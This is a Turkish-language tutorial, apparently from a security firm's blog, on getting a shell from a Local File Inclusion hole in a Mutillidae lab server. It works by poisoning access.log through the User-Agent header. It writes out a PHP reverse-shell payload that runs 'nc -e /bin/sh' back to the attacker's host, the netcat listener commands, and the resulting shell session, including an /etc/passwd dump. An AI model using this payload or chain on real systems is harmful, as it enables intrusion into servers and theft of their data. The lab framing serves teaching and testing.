Bu makalede Local File Inclusion(LFI) açıklığı barındıran bir sistem üzerinde nasıl shell alınabileceği anlatılmıştır. LFI açıklığı ile genellikle hedef sistem üzerindeki yeri bilinen bazı dosyaların içeriğinin okunması şeklinde yapılan saldırılar sebebi ile çoğu web geliştiricisi tarafından önemsenmeyen basite alınan bir açıklık olarak bilinir. Oysa LFI açıklıkları da tıpkı XSS açıklıkları gibi masum görünen ama oldukça tehlikleli açıklıklardandır.
Uygulama esnasında kullanılan araçlar;
Local sistemimizde Burp Suite uygulamasını çalıştırdıktan sonra öntanımlı çalıştığı port 8080 olduğu için (değiştirilmediğini varsayılıp) browserinizda 127.0.0.1:8080 olarak proxy ayarlarınızı yapmanız gerekmektedir.
Öncelikle LFI(Local File Inclusion) açıklığı bulunan web sunucumuza browser aracılığı ile bir bağlantı isteği gönderiyoruz ve talebimiz hedefe gitmeden önce burp suite üzerinde Proxy/intercept altında aşağıdaki gibi görebilir değiştirebilir daha sora sunucuya gönderebilirsiniz.
Talep ettiğimiz sayfa;
http://3.3.3.12/mutillidae/index.php
Mevcut parametreler üzerinde daha rahat manipule işlemleri gerçekleştirmek için sağ tıklayıp send to repeater diyoruz. Aşağıda yapılan http talebine ait çeşitli başlık bilgileri vardır. Biz burada User-Agent başlık bilgisi ile ilgileneceğiz. Aşağıda da bize ait user agent başlık bilgisinin detayları görülebilir.
Şimdi User-Agent değerini aşağıdaki gibi ‘Merhaba Saldırıya hazırmısın’ şeklinde değiştirelim ve hedef sunuduya gönderelim.
Go butonu ile devam edildikten sonra aşağıdaki gibi HTTP 200 OK mesajı ile talebimizin başarılı olduğunu görebiliriz.
Test için kullanıdığımız ve üzerinde LFI açıklığı bulunan web sunucumuza yukarıdaki ekran görüntüsünde görüldüğü üzere HTTP GET talebini gerçekleştirdiken sonra, ilgili açıklığı kullanarak access.log dosyasını aşağıdaki gibi görüntülüyoruz.
Ekran görüntüsünden de görülebileceği gibi ‘Merhaba Saldırıya
hazırmısınız’ User-agent bilgisi hedef sistemin access.log dosyasına
yazılmış durumda. Access.log dosyası web sunucuya bağlantı kuran
kullanıcılara ait çeşitli bilgileri loglar. Bu bilgilerden bazıları;
- Tarih-Saat
- Source IP adresi
- Http talep türü
- Talep edilen URL
- User-Agent bilgisi v.s
Access.log dosyası kötü konfigre edilmiş bir çok sunucuda ve özellikle
paylaşımlı barındırma hizmeti veren sunucularda LFI açıklığı ile
erişilebilen bir dosyadır.
Şimdi saldırı seneryomuza geçmeden önce küçük bir php scripti ile access.log dosyasını zehirleyelim. PHP diline ait olan phpinfo() foksiyonunu çalıştırıp hedef üzerindeki etkisine bakalım.
Bunun için User-Agent değerine aşağıdaki php scripti yazılır ve hedef sisteme gönderilir.
Bu aşamadan sonra hedef sistem üzerinde LFI açıklığı kullanılarak aşağıdaki gibi access.log dosyası çağrıldığında bizim user-agent olarak gönderdiğimiz php scripti ilgili sayfada çalışacaktır. Aşağıdaki ekran görüntüsünde de görülebilecegi gibi hedefe ait php bilgilerini ekrana verecektir.
LFI açıklığı barındıran hedef sistemde bize reverse shell verecek php scriptimizi (<?php shell_exec(‘nc -e /bin/sh 3.3.3.10 9090’) ?>) User-Agent olarak kullanıp burp suite ile hedefe bir GET talebinde bulunuyoruz. Aşağıda yaptığımız http istek ve dönülen http cevap bilgisi görülebilir.
Yukarıdaki php scriptini (<?php shell_exec(‘nc -e /bin/sh 3.3.3.10 9090’) ?>) user agent olarak kullanıp hedef sistemin access.log dosyasına kaydettirdikten sonra browser aracılığı ile veya aşağıdaki gibi curl ile hedef sistemdeki bu dosyayayı çağırmamız shell almamız için yeterli olacaktır. Fakat sayfaya bağlantı isteğinden önce local sistemimizde 9090 portunu netcat ile dinleme moduna almalıyız;
sh-3.2# nc -lv -p 9090
listening on [any] 9090 …
Ters bağlantı yapılacak portumuzu dinleme moduna aldıktan sonra curl ile sayfayı çağıralım;
sh-3.2# curl -s
Burada access.log dosyasının ekran görüntüsü çok büyük olduğu için verilmemiştir. Siz browser aracılığı ile de çağırabilirsiniz. URL çağrıldıktan sonra 3.3.3.10 IP adresine sahip local sistemimizde dinleme moduna aldığımız netcat oturumuna bir bağlantının geldiğini aşağıdaki gibi görebilirsiniz. Bundan sonrası vereceğiniz tüm komutlar hedef web sunucunun /bin/sh shell’inde çalışacaktır.
sh-3.2# nc -lv -p 9090
listening on [any] 9090 …
Warning: forward host lookup failed for n003-000-000-000.static.ge.com: Unknown host : Connection timed out
connect to [3.3.3.12] from n003-000-000-000.static.ge.com [3.3.3.10] 43962
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux
w
07:43:17 up 22:46, 7 users, load average: 0.13, 0.22, 0.14
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 – Thu10 44:56m 5:33 0.00s /bin/bash /usr/
root pts/0 :0.0 Thu10 43:44m 0.24s 0.24s bash
root pts/1 :0.0 Thu11 40:37m 4:57 4:57 /opt/metasploit
root pts/2 :0.0 Thu11 15:23m 0.10s 0.10s bash
root pts/3 :0.0 Fri09 1:22m 0.35s 0.35s bash
root pts/4 :0.0 Fri09 0.00s 0.05s 0.00s nc -lv -p 4444
root pts/5 :0.0 Fri09 9:39 0.06s 0.06s bash
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:103:108::/var/lib/landscape:/bin/false
messagebus:x:104:112::/var/run/dbus:/bin/false
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:105:113::/var/lib/mysql:/bin/false
avahi:x:106:114::/var/run/avahi-daemon:/bin/false
snort:x:107:115:Snort IDS:/var/log/snort:/bin/false
statd:x:108:65534::/var/lib/nfs:/bin/false
usbmux:x:109:46::/home/usbmux:/bin/false
pulse:x:110:116::/var/run/pulse:/bin/false
rtkit:x:111:117::/proc:/bin/false
festival:x:112:29::/home/festival:/bin/false
postgres:x:1000:1000::/home/postgres:/bin/sh
haldaemon:x:113:122:Hardware abstraction layer,,,:/var/run/hald:/bin/false
Fırat Celal Erdik <celal.erdik@bga.com.tr>